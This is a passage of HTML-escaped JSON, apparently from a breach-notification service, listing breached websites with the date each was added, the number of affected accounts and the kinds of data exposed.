2018&quot;,&quot;PwnCount&quot;:&quot;66,308&quot;,&quot;LogoPath&quot;:&quot;AerServ.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Bestialitysextaboo&quot;,&quot;Title&quot;:&quot;Bestialitysextaboo&quot;,&quot;AddedDate&quot;:&quot;March 29, 2018&quot;,&quot;PwnCount&quot;:&quot;3,204&quot;,&quot;LogoPath&quot;:&quot;Bestialitysextaboo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;EyeEm&quot;,&quot;Title&quot;:&quot;EyeEm&quot;,&quot;AddedDate&quot;:&quot;February 16, 2019&quot;,&quot;PwnCount&quot;:&quot;19,611,022&quot;,&quot;LogoPath&quot;:&quot;EyeEm.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;FLVS&quot;,&quot;Title&quot;:&quot;Florida Virtual School&quot;,&quot;AddedDate&quot;:&quot;March 18, 2018&quot;,&quot;PwnCount&quot;:&quot;542,902&quot;,&quot;LogoPath&quot;:&quot;FLVS.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Autocentrum&quot;,&quot;Title&quot;:&quot;Autocentrum.pl&quot;,&quot;AddedDate&quot;:&quot;February 9, 2018&quot;,&quot;PwnCount&quot;:&quot;143,717&quot;,&quot;LogoPath&quot;:&quot;Autocentrum.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MyFitnessPal&quot;,&quot;Title&quot;:&quot;MyFitnessPal&quot;,&quot;AddedDate&quot;:&quot;February 21, 2019&quot;,&quot;PwnCount&quot;:&quot;143,606,147&quot;,&quot;LogoPath&quot;:&quot;MyFitnessPal.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;JoomlArt&quot;,&quot;Title&quot;:&quot;JoomlArt&quot;,&quot;AddedDate&quot;:&quot;November 1, 2018&quot;,&quot;PwnCount&quot;:&quot;22,477&quot;,&quot;LogoPath&quot;:&quot;JoomlArt.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;ClubPenguinRewritten&quot;,&quot;Title&quot;:&quot;Club Penguin Rewritten (January 2018)&quot;,&quot;AddedDate&quot;:&quot;April 23, 2019&quot;,&quot;PwnCount&quot;:&quot;1,688,176&quot;,&quot;LogoPath&quot;:&quot;ClubPenguinRewritten.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;TheFlyOnTheWall&quot;,&quot;Title&quot;:&quot;The Fly on the Wall&quot;,&quot;AddedDate&quot;:&quot;January 15, 2018&quot;,&quot;PwnCount&quot;:&quot;84,011&quot;,&quot;LogoPath&quot;:&quot;TheFlyOnTheWall.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Credit cards&quot;},{&quot;Name&quot;:&quot;HoundDawgs&quot;,&quot;Title&quot;:&quot;HoundDawgs&quot;,&quot;AddedDate&quot;:&quot;January 3, 2018&quot;,&quot;PwnCount&quot;:&quot;45,701&quot;,&quot;LogoPath&quot;:&quot;HoundDawgs.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;LyricsMania&quot;,&quot;Title&quot;:&quot;Lyrics Mania&quot;,&quot;AddedDate&quot;:&quot;January 15, 2018&quot;,&quot;PwnCount&quot;:&quot;109,202&quot;,&quot;LogoPath&quot;:&quot;LyricsMania.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;2fast4u&quot;,&quot;Title&quot;:&quot;2fast4u&quot;,&quot;AddedDate&quot;:&quot;January 7, 2018&quot;,&quot;PwnCount&quot;:&quot;17,706&quot;,&quot;LogoPath&quot;:&quot;2fast4u.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Netshoes&quot;,&quot;Title&quot;:&quot;Netshoes&quot;,&quot;AddedDate&quot;:&quot;December 10, 2017&quot;,&quot;PwnCount&quot;:&quot;499,836&quot;,&quot;LogoPath&quot;:&quot;Netshoes.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses, Dates of birth&quot;},{&quot;Name&quot;:&quot;piZap&quot;,&quot;Title&quot;:&quot;piZap&quot;,&quot;AddedDate&quot;:&quot;July 16, 2019&quot;,&quot;PwnCount&quot;:&quot;41,817,893&quot;,&quot;LogoPath&quot;:&quot;piZap.png&quot;,&quot;DataClasses&quot;:&quoquot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;AIType&quot;,&quot;Title&quot;:&quot;ai.type&quot;,&quot;AddedDate&quot;:&quot;December 8, 2017&quot;,&quot;PwnCount&quot;:&quot;20,580,060&quot;,&quot;LogoPath&quot;:&quot;AIType.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;DVDShopCH&quot;,&quot;Title&quot;:&quot;dvd-shop.ch&quot;,&quot;AddedDate&quot;:&quot;December 10, 2017&quot;,&quot;PwnCount&quot;:&quot;67,973&quot;,&quot;LogoPath&quot;:&quot;DVDShopCH.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;OpenCSGO&quot;,&quot;Title&quot;:&quot;Open CS:GO&quot;,&quot;AddedDate&quot;:&quot;January 15, 2018&quot;,&quot;PwnCount&quot;:&quot;512,311&quot;,&quot;LogoPath&quot;:&quot;OpenCSGO.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;TheTVDB&quot;,&quot;Title&quot;:&quot;TheTVDB.com&quot;,&quot;AddedDate&quot;:&quot;January 29, 2018&quot;,&quot;PwnCount&quot;:&quot;181,871&quot;,&quot;LogoPath&quot;:&quot;TheTVDB.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MyHeritage&quot;,&quot;Title&quot;:&quot;MyHeritage&quot;,&quot;AddedDate&quot;:&quot;February 20, 2019&quot;,&quot;PwnCount&quot;:&quot;91,991,358&quot;,&quot;LogoPath&quot;:&quot;MyHeritage.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Bukalapak&quot;,&quot;Title&quot;:&quot;Bukalapak&quot;,&quot;AddedDate&quot;:&quot;April 18, 2019&quot;,&quot;PwnCount&quot;:&quot;13,369,666&quot;,&quot;LogoPath&quot;:&quot;Bukalapak.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Smogon&quot;,&quot;Title&quot;:&quot;Smogon&quot;,&quot;AddedDate&quot;:&quot;April 11, 2018&quot;,&quot;PwnCount&quot;:&quot;386,489&quot;,&quot;LogoPath&quot;:&quot;Smogon.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Coinmama&quot;,&quot;Title&quot;:&quot;Coinmama&quot;,&quot;AddedDate&quot;:&quot;August 30, 2019&quot;,&quot;PwnCount&quot;:&quot;478,824&quot;,&quot;LogoPath&quot;:&quot;Coinmama.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Taringa&quot;,&quot;Title&quot;:&quot;Taringa&quot;,&quot;AddedDate&quot;:&quot;April 19, 2018&quot;,&quot;PwnCount&quot;:&quot;27,971,100&quot;,&quot;LogoPath&quot;:&quot;Taringa.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MallCZ&quot;,&quot;Title&quot;:&quot;MALL.cz&quot;,&quot;AddedDate&quot;:&quot;September 4, 2017&quot;,&quot;PwnCount&quot;:&quot;735,405&quot;,&quot;LogoPath&quot;:&quot;MallCZ.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;8tracks&quot;,&quot;Title&quot;:&quot;8tracks&quot;,&quot;AddedDate&quot;:&quot;February 16, 2018&quot;,&quot;PwnCount&quot;:&quot;17,979,961&quot;,&quot;LogoPath&quot;:&quot;8tracks.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Zomato&quot;,&quot;Title&quot;:&quot;Zomato&quot;,&quot;AddedDate&quot;:&quot;September 4, 2017&quot;,&quot;PwnCount&quot;:&quot;16,472,873&quot;,&quot;LogoPath&quot;:&quot;Zomato.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;DaFont&quot;,&quot;Title&quot;:&quot;DaFont&quot;,&quot;AddedDate&quot;:&quot;May 18, 2017&quot;,&quot;PwnCount&quot;:&quot;637,340&quot;,&quot;LogoPath&quot;:&quot;DaFont.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Bell2017&quot;,&quot;Title&quot;:&quot;Bell (2017 breach)&quot;,&quot;AddedDate&quot;:&quot;May 16, 2017&quot;,&quot;PwnCount&quot;:&quot;2,231,256&quot;,&quot;LogoPath&quot;:&quot;Bell.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Edmodo&quot;,&quot;Title&quot;:&quot;Edmodo&quot;,&quot;AddedDate&quot;:&quot;June 1, 2017&quot;,&quot;PwnCount&quot;:&quot;43,423,561&quot;,&quot;LogoPath&quot;:&quot;Edmodo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;UnderworldEmpire&quot;,&quot;Title&quot;:&quot;Underworld Empire&quot;,&quot;AddedDate&quot;:&quot;February 19, 2018&quot;,&quot;PwnCount&quot;:&quot;428,779&quot;,&quot;LogoPath&quot;:&quot;UnderworldEmpire.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;HealthNowNetworks&quot;,&quot;Title&quot;:&quot;Health Now Networks&quot;,&quot;AddedDate&quot;:&quot;April 7, 2017&quot;,&quot;PwnCount&quot;:&quot;321,920&quot;,&quot;LogoPath&quot;:&quot;HealthNowNetworks.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Security questions and answers&quot;},{&quot;Name&quot;:&quot;Appartoo&quot;,&quot;Title&quot;:&quot;Appartoo&quot;,&quot;AddedDate&quot;:&quot;May 2, 2019&quot;,&quot;PwnCount&quot;:&quot;49,681&quot;,&quot;LogoPath&quot;:&quot;Appartoo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;SterKinekor&quot;,&quot;Title&quot;:&quot;Ster-Kinekor&quot;,&quot;AddedDate&quot;:&quot;March 13, 2017&quot;,&quot;PwnCount&quot;:&quot;1,619,544&quot;,&quot;LogoPath&quot;:&quot;SterKinekor.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Bolt&quot;,&quot;Title&quot;:&quot;Bolt&quot;,&quot;AddedDate&quot;:&quot;November 24, 2017&quot;,&quot;PwnCount&quot;:&quot;995,274&quot;,&quot;LogoPath&quot;:&quot;Bolt.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;RetinaX&quot;,&quot;Title&quot;:&quot;Retina-X&quot;,&quot;AddedDate&quot;:&quot;April 30, 2017&quot;,&quot;PwnCount&quot;:&quot;71,153&quot;,&quot;LogoPath&quot;:&quot;RetinaX.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Coachella&quot;,&quot;Title&quot;:&quot;Coachella&quot;,&quot;AddedDate&quot;:&quot;June 27, 2017&quot;,&quot;PwnCount&quot;:&quot;599,802&quot;,&quot;LogoPath&quot;:&quot;Coachella.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;FreedomHostingII&quot;,&quot;Title&quot;:&quot;Freedom Hosting II&quot;,&quot;AddedDate&quot;:&quot;February 5, 2017&quot;,&quot;PwnCount&quot;:&quot;380,830&quot;,&quot;LogoPath&quot;:&quot;FreedomHostingII.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;DataCamp&quot;,&quot;Title&quot;:&quot;DataCamp&quot;,&quot;AddedDate&quot;:&quot;April 9, 2019&quot;,&quot;PwnCount&quot;:&quot;760,561&quot;,&quot;LogoPath&quot;:&quot;DataCamp.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Hub4Tech&quot;,&quot;Title&quot;:&quot;Hub4Tech&quot;,&quot;AddedDate&quot;:&quot;December 9, 2018&quot;,&quot;PwnCount&quot;:&quot;36,916&quot;,&quot;LogoPath&quot;:&quot;Hub4Tech.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;R2-2017&quot;,&quot;Title&quot;:&quot;R2 (2017 forum breach)&quot;,&quot;AddedDate&quot;:&quot;April 25, 2017&quot;,&quot;PwnCount&quot;:&quot;1,023,466&quot;,&quot;LogoPath&quot;:&quot;R2Games.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;RussianAmerica&quot;,&quot;Title&quot;:&quot;Russian America&quot;,&quot;AddedDate&quot;:&quot;September 13, 2018&quot;,&quot;PwnCount&quot;:&quot;182,717&quot;,&quot;LogoPath&quot;:&quot;RussianAmerica.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;CloudPets&quot;,&quot;Title&quot;:&quot;CloudPets&quot;,&quot;AddedDate&quot;:&quot;February 27, 2017&quot;,&quot;PwnCount&quot;:&quot;583,503&quot;,&quot;LogoPath&quot;:&quot;CloudPets.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;LittleMonsters&quot;,&quot;Title&quot;:&quot;Little Monsters&quot;,&quot;AddedDate&quot;:&quot;March 7, 2017&quot;,&quot;PwnCount&quot;:&quot;995,698&quot;,&quot;LogoPath&quot;:&quot;LittleMonsters.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;VictoryPhones&quot;,&quot;Title&quot;:&quot;Victory Phones&quot;,&quot;AddedDate&quot;:&quot;October 11, 2017&quot;,&quot;PwnCount&quot;:&quot;166,046&quot;,&quot;LogoPath&quot;:&quot;VictoryPhones.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;Ethereum&quot;,&quot;Title&quot;:&quot;Ethereum&quot;,&quot;AddedDate&quot;:&quot;December 20, 2016&quot;,&quot;PwnCount&quot;:&quot;16,431&quot;,&quot;LogoPath&quot;:&quot;Ethereum.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;PayAsUGym&quot;,&quot;Title&quot;:&quot;PayAsUGym&quot;,&quot;AddedDate&quot;:&quot;December 17, 2016&quot;,&quot;PwnCount&quot;:&quot;400,260&quot;,&quot;LogoPath&quot;:&quot;PayAsUGym.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Partial credit card data&quot;},{&quot;Name&quot;:&quot;MrExcel&quot;,&quot;Title&quot;:&quot;MrExcel&quot;,&quot;AddedDate&quot;:&quot;January 22, 2017&quot;,&quot;PwnCount&quot;:&quot;366,140&quot;,&quot;LogoPath&quot;:&quot;MrExcel.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BiohackMe&quot;,&quot;Title&quot;:&quot;Biohack.me&quot;,&quot;AddedDate&quot;:&quot;August 23, 2017&quot;,&quot;PwnCount&quot;:&quot;3,402&quot;,&quot;LogoPath&quot;:&quot;BiohackMe.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Warmane&quot;,&quot;Title&quot;:&quot;Warmane&quot;,&quot;AddedDate&quot;:&quot;September 8, 2018&quot;,&quot;PwnCount&quot;:&quot;1,116,256&quot;,&quot;LogoPath&quot;:&quot;Warmane.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;FashionFantasyGame&quot;,&quot;Title&quot;:&quot;FashionFantasyGame&quot;,&quot;AddedDate&quot;:&quot;April 20, 2017&quot;,&quot;PwnCount&quot;:&quot;2,357,872&quot;,&quot;LogoPath&quot;:&quot;FashionFantasyGame.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Youku&quot;,&quot;Title&quot;:&quot;Youku&quot;,&quot;AddedDate&quot;:&quot;April 15, 2017&quot;,&quot;PwnCount&quot;:&quot;91,890,110&quot;,&quot;LogoPath&quot;:&quot;Youku.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;xHamster&quot;,&quot;Title&quot;:&quot;xHamster&quot;,&quot;AddedDate&quot;:&quot;March 8, 2018&quot;,&quot;PwnCount&quot;:&quot;377,377&quot;,&quot;LogoPath&quot;:&quot;xHamster.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;CashCrate&quot;,&quot;Title&quot;:&quot;CashCrate&quot;,&quot;AddedDate&quot;:&quot;April 20, 2018&quot;,&quot;PwnCount&quot;:&quot;6,844,490&quot;,&quot;LogoPath&quot;:&quot;CashCrate.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MCBans&quot;,&quot;Title&quot;:&quot;MCBans&quot;,&quot;AddedDate&quot;:&quot;July 23, 2017&quot;,&quot;PwnCount&quot;:&quot;119,948&quot;,&quot;LogoPath&quot;:&quot;MCBans.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Dailymotion&quot;,&quot;Title&quot;:&quot;Dailymotion&quot;,&quot;AddedDate&quot;:&quot;August 7, 2017&quot;,&quot;PwnCount&quot;:&quot;85,176,234&quot;,&quot;LogoPath&quot;:&quot;Dailymotion.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;ModernBusinessSolutions&quot;,&quot;Title&quot;:&quot;Modern Business Solutions&quot;,&quot;AddedDate&quot;:&quot;October 12, 2016&quot;,&quot;PwnCount&quot;:&quot;58,843,488&quot;,&quot;LogoPath&quot;:&quot;ModernBusinessSolutions.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Phone numbers&quot;},{&quot;Name&quot;:&quot;PokemonNegro&quot;,&quot;Title&quot;:&quot;Pokémon Negro&quot;,&quot;AddedDate&quot;:&quot;January 3, 2017&quot;,&quot;PwnCount&quot;:&quot;830,155&quot;,&quot;LogoPath&quot;:&quot;PokemonNegro.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Leet&quot;,&quot;Title&quot;:&quot;Leet&quot;,&quot;AddedDate&quot;:&quot;September 30, 2016&quot;,&quot;PwnCount&quot;:&quot;5,081,689&quot;,&quot;LogoPath&quot;:&quot;Leet.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;eThekwiniMunicipality&quot;,&quot;Title&quot;:&quot;eThekwini Municipality&quot;,&quot;AddedDate&quot;:&quot;September 15, 2016&quot;,&quot;PwnCount&quot;:&quot;81,830&quot;,&quot;LogoPath&quot;:&quot;eThekwiniMunicipality.png&quot;,&quot;DataClasses&quot;:&quot;Government issued IDs, Passwords&quot;},{&quot;Name&quot;:&quot;RealEstateMogul&quot;,&quot;Title&quot;:&quot;Real Estate Mogul&quot;,&quot;AddedDate&quot;:&quot;September 24, 2018&quot;,&quot;PwnCount&quot;:&quot;307,768&quot;,&quot;LogoPath&quot;:&quot;RealEstateMogul.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;ClixSense&quot;,&quot;Title&quot;:&quot;ClixSense&quot;,&quot;AddedDate&quot;:&quot;September 11, 2016&quot;,&quot;PwnCount&quot;:&quot;2,424,784&quot;,&quot;LogoPath&quot;:&quot;ClixSense.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;NemoWeb&quot;,&quot;Title&quot;:&quot;NemoWeb&quot;,&quot;AddedDate&quot;:&quot;September 19, 2018&quot;,&quot;PwnCount&quot;:&quot;3,472,916&quot;,&quot;LogoPath&quot;:&quot;NemoWeb.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;MDPI&quot;,&quot;Title&quot;:&quot;MDPI&quot;,&quot;AddedDate&quot;:&quot;March 25, 2018&quot;,&quot;PwnCount&quot;:&quot;845,012&quot;,&quot;LogoPath&quot;:&quot;MDPI.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Email addresses&quot;},{&quot;Name&quot;:&quot;GeekedIn&quot;,&quot;Title&quot;:&quot;GeekedIn&quot;,&quot;AddedDate&quot;:&quot;November 17, 2016&quot;,&quot;PwnCount&quot;:&quot;1,073,164&quot;,&quot;LogoPath&quot;:&quot;GeekedIn.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;EpicGames&quot;,&quot;Title&quot;:&quot;Epic Games&quot;,&quot;AddedDate&quot;:&quot;November 7, 2016&quot;,&quot;PwnCount&quot;:&quot;251,661&quot;,&quot;LogoPath&quot;:&quot;EpicGames.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;UnrealEngine&quot;,&quot;Title&quot;:&quot;Unreal Engine&quot;,&quot;AddedDate&quot;:&quot;November 7, 2016&quot;,&quot;PwnCount&quot;:&quot;530,147&quot;,&quot;LogoPath&quot;:&quot;UnrealEngine.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Parapa&quot;,&quot;Title&quot;:&quot;Пара Па&quot;,&quot;AddedDate&quot;:&quot;December 28, 2016&quot;,&quot;PwnCount&quot;:&quot;4,946,850&quot;,&quot;LogoPath&quot;:&quot;Parapa.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;CrossFire&quot;,&quot;Title&quot;:&quot;Cross Fire&quot;,&quot;AddedDate&quot;:&quot;December 28, 2016&quot;,&quot;PwnCount&quot;:&quot;12,865,609&quot;,&quot;LogoPath&quot;:&quot;CrossFire.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Wishbone&quot;,&quot;Title&quot;:&quot;Wishbone&quot;,&quot;AddedDate&quot;:&quot;March 15, 2017&quot;,&quot;PwnCount&quot;:&quot;2,247,314&quot;,&quot;LogoPath&quot;:&quot;Wishbone.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;GTAGaming&quot;,&quot;Title&quot;:&quot;GTAGaming&quot;,&quot;AddedDate&quot;:&quot;August 23, 2016&quot;,&quot;PwnCount&quot;:&quot;197,184&quot;,&quot;LogoPath&quot;:&quot;GTAGaming.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;DLH&quot;,&quot;Title&quot;:&quot;DLH.net&quot;,&quot;AddedDate&quot;:&quot;September 7, 2016&quot;,&quot;PwnCount&quot;:&quot;3,264,710&quot;,&quot;LogoPath&quot;:&quot;DLH.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;AKP&quot;,&quot;Title&quot;:&quot;AKP Emails&quot;,&quot;AddedDate&quot;:&quot;October 1, 2017&quot;,&quot;PwnCount&quot;:&quot;917,461&quot;,&quot;LogoPath&quot;:&quot;AKP.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;iDressup&quot;,&quot;Title&quot;:&quot;i-Dressup&quot;,&quot;AddedDate&quot;:&quot;September 26, 2016&quot;,&quot;PwnCount&quot;:&quot;2,191,565&quot;,&quot;LogoPath&quot;:&quot;iDressup.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;ClashOfKings&quot;,&quot;Title&quot;:&quot;Clash of Kings&quot;,&quot;AddedDate&quot;:&quot;July 27, 2019&quot;,&quot;PwnCount&quot;:&quot;1,604,957&quot;,&quot;LogoPath&quot;:&quot;ClashOfKings.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;MacForums&quot;,&quot;Title&quot;:&quot;Mac Forums&quot;,&quot;AddedDate&quot;:&quot;October 29, 2018&quot;,&quot;PwnCount&quot;:&quot;326,714&quot;,&quot;LogoPath&quot;:&quot;MacForums.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;FreshMenu&quot;,&quot;Title&quot;:&quot;FreshMenu&quot;,&quot;AddedDate&quot;:&quot;September 10, 2018&quot;,&quot;PwnCount&quot;:&quot;110,355&quot;,&quot;LogoPath&quot;:&quot;FreshMenu.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;Funimation&quot;,&quot;Title&quot;:&quot;Funimation&quot;,&quot;AddedDate&quot;:&quot;February 20, 2017&quot;,&quot;PwnCount&quot;:&quot;2,491,103&quot;,&quot;LogoPath&quot;:&quot;Funimation.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;CrackingForum&quot;,&quot;Title&quot;:&quot;CrackingForum&quot;,&quot;AddedDate&quot;:&quot;December 10, 2017&quot;,&quot;PwnCount&quot;:&quot;660,305&quot;,&quot;LogoPath&quot;:&quot;CrackingForum.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;AbuseWithUs&quot;,&quot;Title&quot;:&quot;AbuseWith.Us&quot;,&quot;AddedDate&quot;:&quot;October 9, 2017&quot;,&quot;PwnCount&quot;:&quot;1,372,550&quot;,&quot;LogoPath&quot;:&quot;AbuseWithUs.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Whitepages&quot;,&quot;Title&quot;:&quot;Whitepages&quot;,&quot;AddedDate&quot;:&quot;March 27, 2019&quot;,&quot;PwnCount&quot;:&quot;11,657,763&quot;,&quot;LogoPath&quot;:&quot;Whitepages.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MuslimMatch&quot;,&quot;Title&quot;:&quot;Muslim Match&quot;,&quot;AddedDate&quot;:&quot;June 29, 2016&quot;,&quot;PwnCount&quot;:&quot;149,830&quot;,&quot;LogoPath&quot;:&quot;MuslimMatch.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;HLTV&quot;,&quot;Title&quot;:&quot;HLTV&quot;,&quot;AddedDate&quot;:&quot;March 22, 2017&quot;,&quot;PwnCount&quot;:&quot;611,070&quot;,&quot;LogoPath&quot;:&quot;HLTV.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Facepunch&quot;,&quot;Title&quot;:&quot;Facepunch&quot;,&quot;AddedDate&quot;:&quot;October 17, 2018&quot;,&quot;PwnCount&quot;:&quot;342,913&quot;,&quot;LogoPath&quot;:&quot;Facepunch.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;MangaFox&quot;,&quot;Title&quot;:&quot;MangaFox.me&quot;,&quot;AddedDate&quot;:&quot;March 17, 2018&quot;,&quot;PwnCount&quot;:&quot;1,311,610&quot;,&quot;LogoPath&quot;:&quot;MangaFox.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Evony&quot;,&quot;Title&quot;:&quot;Evony&quot;,&quot;AddedDate&quot;:&quot;March 25, 2017&quot;,&quot;PwnCount&quot;:&quot;29,396,116&quot;,&quot;LogoPath&quot;:&quot;Evony.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;ForumCommunity&quot;,&quot;Title&quot;:&quot;ForumCommunity&quot;,&quot;AddedDate&quot;:&quot;December 5, 2018&quot;,&quot;PwnCount&quot;:&quot;776,648&quot;,&quot;LogoPath&quot;:&quot;ForumCommunity.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Uiggy&quot;,&quot;Title&quot;:&quot;Uiggy&quot;,&quot;AddedDate&quot;:&quot;June 27, 